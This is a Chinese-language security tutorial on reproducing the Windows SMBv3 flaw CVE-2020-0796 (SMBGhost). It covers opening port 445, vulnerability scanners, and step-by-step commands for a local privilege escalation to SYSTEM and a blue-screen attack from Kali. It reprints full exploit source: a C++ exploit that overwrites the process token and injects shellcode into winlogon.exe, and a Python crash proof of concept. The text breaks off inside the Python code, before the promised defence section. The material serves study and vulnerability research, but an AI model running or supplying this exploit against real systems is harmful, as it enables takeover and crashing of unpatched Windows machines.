[系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)及防御详解
您可能之前看到過我寫的類似文章,為什么還要重復撰寫呢?只是想更好地幫助初學者了解病毒逆向分析和系統安全,更加成體系且不破壞之前的系列。因此,我重新開設了這個專欄,準備系統整理和深入學習系統安全、逆向分析和惡意代碼檢測,“系統安全”系列文章會更加聚焦,更加系統,更加深入,也是作者的慢慢成長史。換專業確實挺難的,逆向分析也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學到什么程度,漫漫長征路,偏向虎山行。享受過程,一起加油~
系統安全系列作者將深入研究惡意樣本分析、逆向分析、攻防實戰和Windows漏洞利用等,通過在線筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步。前文介紹了MS08-067遠程代碼執行漏洞(CVE-2008-4250),它是Windows Server服務RPC請求緩沖區溢出漏洞,利用445端口。這篇文章將詳細講解SMBv3服務遠程代碼執行漏洞(CVE-2020-0796),攻擊者可能利用此漏洞遠程無需用戶驗證,通過發送構造特殊的惡意數據導致在目標系統上執行惡意代碼,從而獲取機器的完全控制,利用的端口仍是445。希望對入門的同學有幫助。
話不多說,讓我們開始新的征程吧!您的點贊、評論、收藏將是對我最大的支持,感恩安全路上一路前行,如果有寫得不好的地方,可以聯系我修改?;A性文章,希望對您有所幫助,作者的目的是與安全人共同進步,加油!也強烈推薦大家去看看參考文獻的視頻和書籍。
文章目錄
- 一.漏洞描述
- 二.Win10本地提權
- 1.開啟445端口
- 2.SMBGhost漏洞掃描
- 3.本地EXP提取
- 三.虛擬機藍屏攻擊
- 1.環境搭建
- 2.攻擊實驗
- 四.漏洞原因分析
- 1.C++代碼解析
- 2.Python代碼解析
- 五.防御措施
- 六.總結
作者的github資源:
- 系統安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 網絡安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
前文分析:
- [系統安全] 一.什么是逆向分析、逆向分析基礎及經典掃雷游戲逆向
- [系統安全] 二.如何學好逆向分析及呂布傳游戲逆向案例
- [系統安全] 三.IDA Pro反匯編工具初識及逆向工程解密實戰
- [系統安全] 四.OllyDbg動態分析工具基礎用法及Crakeme逆向破解
- [系統安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大戰僵尸游戲
- [系統安全] 六.逆向分析之條件語句和循環語句源碼還原及流程控制
- [系統安全] 七.逆向分析之PE病毒原理、C++實現文件加解密及OllyDbg逆向
- [系統安全] 八.Windows漏洞利用之CVE-2019-0708復現及藍屏攻擊
- [系統安全] 九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及深度提權
- [系統安全] 十.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現
聲明:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護。
一.漏洞描述
基本描述:
2020年3月11日,某國外安全公司發布了一個近期微軟安全補丁包所涉及漏洞的綜述,其中談到了一個威脅等級被標記為Critical的SMB服務遠程代碼執行漏洞(CVE-2020-0796)。攻擊者可能利用此漏洞遠程無需用戶驗證通過發送構造特殊的惡意數據導致在目標系統上執行惡意代碼,從而獲取機器的完全控制。
微軟SMBv3(Server Message Block 3.0)服務遠程代碼執行漏洞(CVE-2020-0796)可被攻擊者利用,實現無須權限即可執行遠程代碼,受攻擊的目標系統只需開機在線即可能被入侵。該漏洞后果十分接近永恒之藍系列,存在被WannaCry等勒索蠕蟲利用的可能,攻擊者可以構造特定的網頁、壓縮包、共享目錄、Office文檔等多種方式觸發漏洞進行攻擊,對存在該漏洞的Windows主機造成嚴重威脅。
目前奇安信息威脅情報中心紅雨滴團隊已經確認漏洞的存在,利用此漏洞可以穩定地導致系統崩潰,不排除執行任意代碼的可能性,由于漏洞無需用戶驗證的特性,可能導致類似WannaCry攻擊那樣蠕蟲式的傳播。2020年3月12日微軟發布了相應的安全補丁,強烈建議用戶立即安裝補丁以免受此漏洞導致的風險。2020年3月14日,已有可導致受影響系統藍屏崩潰的漏洞利用POC在公開渠道發布,可以穩定地導致系統遠程拒絕服務。
3月22日奇安信代碼安全團隊發布了針對此漏洞的遠程無損掃描器,可以幫助網絡管理員快速地識別存在此漏洞的系統,歡迎使用。3月30日公開渠道出現利用此漏洞的本地提權利用代碼,奇安信驗證可用,本地攻擊者可以利用漏洞從普通用戶權限提升到系統權限。
- 參考文獻: 奇安信威脅情報中心紅雨滴團隊的分析報告
影響版本:
該漏洞屬于遠程代碼執行漏洞,漏洞主要影響Windows10的系統及應用版本(1903和1909),包括32位、64位的家用版、專業版、企業版、教育版。具體如下:
- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
漏洞原理:
在微軟SMBv3遠程代碼執行漏洞中,SMB 3.1.1協議處理壓縮消息時,對其中的數據沒有經過安全檢查,直接使用可能引發內存破壞漏洞,從而被攻擊者利用遠程執行任意代碼。攻擊者通過發送特殊構造的數據包觸發漏洞,無需用戶驗證就可能控制目標系統,同時影響服務器與客戶端系統。
該漏洞存在于Windows的SMBv3.0(文件共享與打印服務)中,利用的端口是445。 當SMBv3.0處理惡意制作的壓縮數據包時,由于SMB沒有正確處理壓縮的數據包,在解壓數據包的時候使用客戶端傳過來的長度進行解壓,并沒有檢查長度是否合法,最終導致整數溢出。遠程未經認證的攻擊者就可能利用此漏洞在應用程序的上下文中執行任意代碼,系統受到非授權控制。
漏洞利用:
- 本地EXP提權:https://github.com/danigargu/CVE-2020-0796
- SMB掃描工具:https://github.com/ollypwn/SMBGhost
- POC藍屏攻擊: https://github.com/eerykitty/CVE-2020-0796-PoC
- Python POC版本:https://github.com/ZecOps/CVE-2020-0796-LPE-POC
- 漏洞檢測工具:https://github.com/joaozietolie/CVE-2020-0796-Checker
- 作者收集工具:https://github.com/eastmountyxz/CVE-2020-0796-SMB
二.Win10本地提權
第一個實驗是利用CVE-2020-0796漏洞進行本地提取,攻擊者利用該漏洞從普通用戶權限提升到系統權限。實驗代碼采用C++實現,主要執行EXE程序。
參考代碼:https://github.com/danigargu/CVE-2020-0796
1.開啟445端口
首先需要開啟445端口。該端口和135、137、138、139、3389都是常見的高危端口,大家需要注意防御。作為安全初學者,如果指定端口都未開啟或關閉,談何后續的實驗及防御呢?由于作者被該端口困擾了一段時間,所以簡單分享一些基礎知識,大佬勿噴~
第一步,Windows查看某個端口是否開啟。
- telnet 127.0.0.1 455
顯示連接失敗
- netstat -ano -p tcp | find “445” >nul 2>nul && echo 445端口已開啟 || echo 445未開啟
445端口顯示未開啟,而3389端口顯示已開啟
- netstat -ano
未顯示TCP開啟445端口
第二步,高級安全入站規則設置445端口允許。
點擊“防火墻”->“高級設置”。
設置“入站規則”->“新建規則”->“端口”設置。
設置TCP特定端口445,允許連接和應用所有規則。
設置成功之后如下圖所示,在測試445端口是否成功。此時仍然可能顯示未開啟。
第三步,注冊表中新建SMBDeviceEnabled選項。
在注冊表中查看如下路徑,發現沒有SMBDeviceEnabled選項。
計算機\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
在右邊空白處右擊新建“QWORD(32位)值”,然后重命名為“SMBDeviceEnabled”。
再把這個子鍵的值改為1。但是作者的445端口仍然顯示未開啟,哎,自己真是菜得摳腳~
第四步,啟用文件和打印機共享,開啟Server服務。
最終原因是Server服務未開啟。Server支持計算機通過網絡的文件、打印、和命名管道共享。如果服務停止,這些功能不可用。如果服務被禁用,任何直接依賴于此服務的服務將無法啟動。
“網絡和共享中心”->“高級共享設置”。
在運行中輸入“services.msc”打開服務,開啟Server。
Server開啟后終于成功打開445端口。
重啟計算機顯示445開啟。
注意:實驗完成之后建議關閉445端口,或立刻打補丁。
2.SMBGhost漏洞掃描
接著我們嘗試用 “https://github.com/ollypwn/SMBGhost” 代碼掃描是否存在該漏洞,Win10注意關閉防火墻。運行結果如下圖所示,表示存在CVE-2020-0796漏洞。
- python scanner.py 192.168.0.105
- pip install netaddr 安裝擴展包
掃描程序僅用于測試服務器是否易受攻擊,它通過協商請求檢查SMBv3.1.1協議和壓縮功能,源代碼如下所示。該漏洞主要是由于SMBv3協議在處理惡意的壓縮數據包時出錯所造成的,它可讓遠程且未經身份驗證的攻擊者在目標系統上執行任意代碼。
scanner.py
import socket import struct import sys from netaddr import IPNetworkpkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'subnet = sys.argv[1]#subnet = '192.168.44.141'for ip in IPNetwork(subnet):sock = socket.socket(socket.AF_INET)sock.settimeout(3)try:sock.connect(( str(ip), 445 ))except:sock.close()continuesock.send(pkt)nb, = struct.unpack(">I", sock.recv(4))res = sock.recv(nb)if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":#print(f"{ip} Not vulnerable.")print("%s Not vulnerable." % ip)else:#print(f"{ip} vulnerable")print("%s Vulnerable" % ip)3.本地EXP提取
第一步,運行C++代碼(sln程序),生成如下圖所示exe程序。
- cve-2020-0796-local.exe
第二步,在運行中輸入“winver”命令檢查Windows版本,必須是Win10 1903或1909。
顯示如下圖所示,作者的未1909。
第三步,用管理員權限運行CMD(命令提示符),輸入“whoami”。
- 輸出結果為普通用戶權限:desktop-k…86\xxxxxx
第四步,用管理員打開PowerShell,運行exe程序提權。
按下組合鍵Windows+R以打開運行窗口,輸入powershell會以當前用戶的權限去執行。
如果你想要從普通模式轉至管理員模式,輸入以下PowerShell命令然后按下回車鍵。
- Start-Process powershell -Verb runAs
輸入如下命令運行EXE程序。
- D:
- cd D:\SMBGhost-master\CVE-2020-0796-master\cve-2020-0796-local\x64\Debug
- .\cv 按TAB鍵自動補齊 .\cve-2020-0796-local.exe
- 成功運行程序
第五步,此時EXE成功運行并利用SMB漏洞。在CMD中輸入“whoami”命令,可以看到普通用戶權限提升至管理員權限。
- 普通權限:desktop-k…86\xxxxxx
- 管理員權限:nt authority\system
系統管理員帳戶:許多服務和Windows進程需要在內部登錄 (例如在Windows安裝過程中),系統帳戶就是為該目的設計的。它是內部帳戶,不顯示在用戶管理器,也無法添加到任何組,并且不能分配用戶權限。默認情況下,系統帳戶授予完全控制NTFS卷上的所有文件。在此系統帳戶具有作為管理員帳戶相同的功能權限。
普通管理員賬戶:不能夠在系統內部登錄。對于文件系統,管理員賬戶和SYSEM賬戶具有相同的權限。但是對于一些服務和進程,我們需要使用系統賬戶而非管理員賬戶,因為這些服務和進程要和系統交互,需要內部登錄。
在執行計劃任務時,如果我們使用NT AUTHORITY\SYSTEM賬戶,那么是不需要輸入密碼的。但是使用管理員賬戶,我們必須輸入密碼。一般使用系統賬戶是為了防止管理員改變密碼后任務無法執行。對于一般的操作,可以使用任何一個賬戶但還是建議您使用管理員或者普通用戶執行。如果和進程或者服務有關的話,您可以使用系統賬戶。
Process Explorer打開的提權進程如下圖所示:
自此,本地提權實驗成功,實驗結束建議關閉445端口或完善補丁,切記。C++代碼及原理將在文章的第四部分詳細講解。
三.虛擬機藍屏攻擊
1.環境搭建
- 受害機:Windows 10 1903 64位專業版
- 攻擊機:Kali系統
第一步,在虛擬機中安裝Windows 10系統和Kali系統。
- https://msdn.itellyou.cn/
運行中輸入“winver”查看版本信息為1903。
第二步,虛擬機兩個系統之間能夠相互通信。
- Kali:192.168.44.138
- Win XP:192.168.44.140
第三步,打開Windows 10系統,確定445端口開啟。如下圖所示,在CMD中輸入“netstat -ano”查看端口445是否打開。開啟方法前面已詳細講解。
第四步,關閉Windows系統的防火墻。
注意,某些情況系統已打過補丁,還需要刪除補丁KB4551762才能成功實驗。作者也存在一個疑問,采用Win10 32位 1903版本藍屏攻擊總失敗,Why?
刪除后重啟計算機即可。
2.攻擊實驗
第一步,采用scanner.py或bash文件掃描該漏洞。這里采用另一種方法,參考資源:https://github.com/joaozietolie/CVE-2020-0796-Checker
- 上傳文件至Kali系統,作者采用文件共享
- chmod +x CVE-2020-0796-Checker.sh
- bash CVE-2020-0796-Checker.sh -t 192.168.44.140
CVE-2020-0796-Checker.sh
#!/bin/bash NC='\033[0m' RED='\033[0;31m' GREEN='\033[0;32m' #Code by Jo?o Zietolie :)while getopts "t:" OPTION; docase "${OPTION}" int) target="${OPTARG}";;esac doneif [[ "$target" > "0" ]]; then echo "Checking for SMB v3.11 in $target ..."result=$(nmap -p445 --script smb-protocols -Pn -n $target | grep -o 3.11) if [[ "$result" == '3.11' ]]; thenecho -e "$target - ${RED}FOUND 3.11 VERSION - POSSIBLY VULNERABLE TO CVE-2020-0796" ${NC}elseecho -e "$target - ${GREEN}There is no SMB v3.11 - possibly not vulnerable (Port 445 can be filtered or closed)" ${NC}fi elseecho -e "${RED}USAGE: bash CVE-2020-0796-Checker.sh -t IP${NC}" fi第二步,從github下載POC藍屏攻擊代碼至Kali系統。
- https://github.com/eerykitty/CVE-2020-0796-PoC
- 命令:git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
第三步,安裝擴展包并實現POC藍屏攻擊。
- pip install ntlm_auth
- python CVE-2020-0796.py 192.168.44.140
此時,Win10系統藍屏重啟,如下圖所示。作者又有一個疑問,如何獲取Shell而不藍屏呢?
四.漏洞原因分析
根據安全研究人員分析,該漏洞是一個整數溢出,發生在SMB服務驅動srv2.sys的Srv2DecompressData函數中。經過研究,研究人員成功證明了CVE-2020-0796漏洞可以被用于本地權限提升。不過需要注意的是,由于API的依賴問題,這個exploit被限制于中等完整性級別(integrity level)。
漏洞成因推薦如下文章:
- 安全人員發布利用CVE-2020-0796實現提權限的PoC - NOSEC
- CVE-2020-0796 Windows SMBv3 LPE Exploit POC 分析 - 曉得哥
- Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC
- CVE-2020-0796本地利用簡析 - goabout2
1.C++代碼解析
exploit.cpp
/** CVE-2020-0796 LPE* * Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com* Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com* Date: 03/29/2020***/#include <stdio.h> #include <stdint.h> #include <winsock2.h> #include <ws2tcpip.h> #include <windows.h> #include <TlHelp32.h> #include "ntos.h"#pragma comment(lib, "ws2_32.lib")ULONG64 get_handle_addr(HANDLE h) {ULONG len = 20;NTSTATUS status = (NTSTATUS)0xc0000004;PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;do {len *= 2;pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len);} while (status == (NTSTATUS)0xc0000004);if (status != (NTSTATUS)0x0) {printf("NtQuerySystemInformation() failed with error: %#x\n", status);return 1;}DWORD mypid = GetProcessId(GetCurrentProcess());ULONG64 ptrs[1000] = { 0 };for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) {PVOID object = pHandleInfo->Handles[i].Object;ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue;DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId;if (pid != mypid)continue;if (handle == (ULONG_PTR)h)return (ULONG64)object;}return -1; }ULONG64 get_process_token() {HANDLE token;HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());if (proc == INVALID_HANDLE_VALUE)return 0;OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);ULONG64 ktoken = get_handle_addr(token);return ktoken; }int error_exit(SOCKET sock, const char* msg) {int err;if (msg != NULL) {printf("%s failed with error: %d\n", msg, WSAGetLastError());}if ((err = closesocket(sock)) == SOCKET_ERROR) {printf("closesocket() failed with error: %d\n", WSAGetLastError());}WSACleanup();return EXIT_FAILURE; }int send_negotiation(SOCKET sock) {int err = 0;char response[8] = { 0 };const uint8_t buf[] = {/* NetBIOS Wrapper */0x00, /* session */0x00, 0x00, 0xC4, /* length *//* SMB Header */0xFE, 0x53, 0x4D, 0x42, /* protocol id */0x40, 0x00, /* structure size, must be 0x40 */0x00, 0x00, /* credit charge */0x00, 0x00, /* channel sequence */0x00, 0x00, /* channel reserved */0x00, 0x00, /* command */0x00, 0x00, /* credits requested */0x00, 0x00, 0x00, 0x00, /* flags */0x00, 0x00, 0x00, 0x00, /* chain offset */0x00, 0x00, 0x00, 0x00, /* message id */0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* reserved */0x00, 0x00, 0x00, 0x00, /* tree id */0x00, 0x00, 0x00, 0x00, /* session id */0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, /* signature */0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,/* SMB Negotiation Request */0x24, 0x00, /* structure size */0x08, 0x00, /* dialect count, 8 */0x00, 0x00, /* security mode */0x00, 0x00, /* reserved */0x7F, 0x00, 0x00, 0x00, /* capabilities */0x01, 0x02, 0xAB, 0xCD, /* guid */0x01, 0x02, 0xAB, 0xCD,0x01, 0x02, 0xAB, 0xCD,0x01, 0x02, 0xAB, 0xCD,0x78, 0x00, /* negotiate context */0x00, 0x00, /* additional padding */0x02, 0x00, /* negotiate context count */0x00, 0x00, /* reserved 2 */0x02, 0x02, /* dialects, SMB 2.0.2 */0x10, 0x02, /* SMB 2.1 */0x22, 0x02, /* SMB 2.2.2 */0x24, 0x02, /* SMB 2.2.3 */0x00, 0x03, /* SMB 3.0 */0x02, 0x03, /* SMB 3.0.2 */0x10, 0x03, /* SMB 3.0.1 */0x11, 0x03, /* SMB 3.1.1 */0x00, 0x00, 0x00, 0x00, /* padding *//* Preauth context */0x01, 0x00, /* type */0x26, 0x00, /* length */0x00, 0x00, 0x00, 0x00, /* reserved */0x01, 0x00, /* hash algorithm count */0x20, 0x00, /* salt length */0x01, 0x00, /* hash algorith, SHA512 */0x00, 0x00, 0x00, 0x00, /* salt */0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, /* pad *//* Compression context */0x03, 0x00, /* type */0x0E, 0x00, /* length */0x00, 0x00, 0x00, 0x00, /* reserved */0x02, 0x00, /* compression algorithm count */0x00, 0x00, /* padding */0x01, 0x00, 0x00, 0x00, /* flags */0x02, 0x00, /* LZ77 */0x03, 0x00, /* LZ77+Huffman */0x00, 0x00, 0x00, 0x00, /* padding */0x00, 0x00, 0x00, 0x00};if ((err = send(sock, (const char *)buf, sizeof(buf), 0)) != SOCKET_ERROR) {recv(sock, response, sizeof(response), 0); }return err; }int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {int err = 0;char response[8] = { 0 };const uint8_t buf[] = {/* NetBIOS Wrapper */0x00,0x00, 0x00, 0x33,/* SMB Header */0xFC, 0x53, 0x4D, 0x42, /* protocol id */0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */0x02, 0x00, /* compression algorithm, LZ77 */0x00, 0x00, /* flags */0x10, 0x00, 0x00, 0x00, /* offset */};uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);if (packet == NULL) {printf("Couldn't allocate memory with malloc()\n");return error_exit(sock, NULL);}memcpy(packet, buf, sizeof(buf));*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;memcpy(packet + sizeof(buf) + 0x10, buffer, len);if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {recv(sock, response, sizeof(response), 0);}free(packet);return err; }void inject(void) {PROCESSENTRY32 entry;entry.dwSize = sizeof(PROCESSENTRY32);uint8_t shellcode[] = {0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54,0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,0xff, 0xc2, // inc edx (1 = SW_SHOW)0xFF, 0xD7, 0x48, 0x83, 0xC4,0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00};HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);int pid = -1;if (Process32First(snapshot, &entry) == TRUE) {while (Process32Next(snapshot, &entry) == TRUE) {if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {pid = entry.th32ProcessID;break;}}}CloseHandle(snapshot);if (pid < 0) {printf("Could not find process\n");return;}printf("Injecting shellcode in winlogon...\n");HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (hProc == NULL) {printf("Could not open process\n");return;}LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (lpMem == NULL) {printf("Remote allocation failed\n");return;} if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) {printf("Remote write failed\n");return;} if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {printf("CreateRemoteThread failed\n");return;}printf("Success! ;)\n"); }int main(int argc, char* argv[]) {WORD wVersionRequested = MAKEWORD(2, 2);WSADATA wsaData = { 0 };SOCKET sock = INVALID_SOCKET;uint64_t ktoken = 0;int err = 0;printf("-= CVE-2020-0796 LPE =-\n");printf("by @danigargu and @dialluvioso_\n\n");if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {printf("WSAStartup() failed with error: %d\n", err);return EXIT_FAILURE;}if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {printf("Couldn't find a usable version of Winsock.dll\n");WSACleanup();return EXIT_FAILURE;}sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if (sock == INVALID_SOCKET) {printf("socket() failed with error: %d\n", WSAGetLastError());WSACleanup();return EXIT_FAILURE;}sockaddr_in client;client.sin_family = AF_INET;client.sin_port = htons(445);InetPton(AF_INET, "127.0.0.1", &client.sin_addr);if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) {return error_exit(sock, "connect()");}printf("Successfully connected socket descriptor: %d\n", (int)sock);printf("Sending SMB negotiation request...\n");if (send_negotiation(sock) == SOCKET_ERROR) {printf("Couldn't finish SMB negotiation\n");return error_exit(sock, "send()");}printf("Finished SMB negotiation\n");ULONG buffer_size = 0x1110;UCHAR *buffer = (UCHAR *)malloc(buffer_size);if (buffer == NULL) {printf("Couldn't allocate memory with malloc()\n");return error_exit(sock, NULL);}ktoken = get_process_token();if (ktoken == -1) {printf("Couldn't leak ktoken of current process...\n");return EXIT_FAILURE;}printf("Found kernel token at %#llx\n", ktoken);memset(buffer, 'A', 0x1108);*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */ULONG CompressBufferWorkSpaceSize = 0;ULONG CompressFragmentWorkSpaceSize = 0;err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS, &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);if (err != STATUS_SUCCESS) {printf("RtlGetCompressionWorkSpaceSize() failed with error: %d\n", err);return error_exit(sock, NULL);}ULONG FinalCompressedSize;UCHAR compressed_buffer[64];LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);if (lpWorkSpace == NULL) {printf("Couldn't allocate memory with malloc()\n");return error_exit(sock, NULL);}err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);if (err != STATUS_SUCCESS) {printf("RtlCompressBuffer() failed with error: %#x\n", err);free(lpWorkSpace);return error_exit(sock, NULL);}printf("Sending compressed buffer...\n");if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {return error_exit(sock, "send()");}printf("SEP_TOKEN_PRIVILEGES changed\n");inject();WSACleanup();return EXIT_SUCCESS; }2.Python代碼解析
CVE-2020-0796-POC.py
import socket, struct, sysclass Smb2Header:def __init__(self, command, message_id):self.protocol_id = "\xfeSMB"self.structure_size = "\x40\x00" # Must be set to 0x40self.credit_charge = "\x00"*2self.channel_sequence = "\x00"*2self.channel_reserved = "\x00"*2self.command = commandself.credits_requested = "\x00"*2 # Number of credits requested / grantedself.flags = "\x00"*4self.chain_offset = "\x00"*4 # Points to next messageself.message_id = message_idself.reserved = "\x00"*4self.tree_id = "\x00"*4 # Changes for some commandsself.session_id = "\x00"*8self.signature = "\x00"*16def get_packet(self):return self.protocol_id + self.structure_size + self.credit_charge + self.channel_sequence + self.channel_reserved + self.command + self.credits_requested + self.flags + self.chain_offset + self.message_id + self.reserved + self.tree_id + self.session_id + self.signatureclass Smb2NegotiateRequest:def __init__(self):self.header = Smb2Header("\x00"*2, "\x00"*8)self.structure_size = "\x24\x00"self.dialect_count = "\x08\x00" # 8 dialectsself.security_mode = "\x00"*2self.reserved = "\x00"*2self.capabilities = "\x7f\x00\x00\x00"self.guid = "\x01\x02\xab\xcd"*4self.negotiate_context = "\x78\x00"self.additional_padding = "\x00"*2self.negotiate_context_count = "\x02\x00" # 2 Contextsself.reserved_2 = "\x00"*2self.dialects = "\x02\x02" + "\x10\x02" + "\x22\x02" + "\x24\x02" + "\x00\x03" + "\x02\x03" + "\x10\x03" + "\x11\x03" # SMB 2.0.2, 2.1, 2.2.2, 2.2.3, 3.0, 3.0.2, 3.1.0, 3.1.1self.padding = "\x00"*4def context(self, type, length):data_length = lengthreserved = "\x00"*4return type + data_length + reserveddef preauth_context(self):hash_algorithm_count = "\x01\x00" # 1 hash algorithmsalt_length = "\x20\x00"hash_algorithm = "\x01\x00" # SHA512salt = "\x00"*32pad = "\x00"*2length = "\x26\x00"context_header = self.context("\x01\x00", length)return context_header + hash_algorithm_count + salt_length + hash_algorithm + salt + paddef compression_context(self):compression_algorithm_count = "\x03\x00" # 3 Compression algorithmspadding = "\x00"*2flags = "\x01\x00\x00\x00"algorithms = "\x01\x00" + "\x02\x00" + "\x03\x00" # LZNT1 + LZ77 + LZ77+Huffmanlength = "\x0e\x00"context_header = self.context("\x03\x00", length)return context_header + compression_algorithm_count + padding + flags + algorithmsdef get_packet(self):padding = "\x00"*8return self.header.get_packet() + self.structure_size + self.dialect_count + self.security_mode + self.reserved + self.capabilities + self.guid + self.negotiate_context + self.additional_padding + self.negotiate_context_count + self.reserved_2 + self.dialects + self.padding + self.preauth_context() + self.compression_context() + paddingclass NetBIOSWrapper:def __init__(self, data):self.session = "\x00"self.length = struct.pack('>i', len(data)).decode('latin1')[1:]self.data = datadef get_packet(self):return self.session + self.length + self.dataclass Smb2CompressedTransformHeader:def __init__(self, data):self.data = dataself.protocol_id = "\xfcSMB"self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1')self.compression_algorithm = "\x01\x00"self.flags = "\x00"*2self.offset = "\xff\xff\xff\xff" # Exploit the vulnerabilitydef get_packet(self):return self.protocol_id + self.original_decompressed_size + self.compression_algorithm + self.flags + self.offset + self.datadef send_negotiation(sock):negotiate = Smb2NegotiateRequest()packet = NetBIOSWrapper(negotiate.get_packet()).get_packet()sock.send(packet.encode('latin1'))sock.recv(3000)def send_compressed(sock, data):compressed = Smb2CompressedTransformHeader(data)packet = NetBIOSWrapper(compressed.get_packet()).get_packet()sock.send(packet.encode('latin1'))#sock.recv(1000)if __name__ == "__main__":if len(sys.argv) != 2:exit("[-] Supply an IP: {} 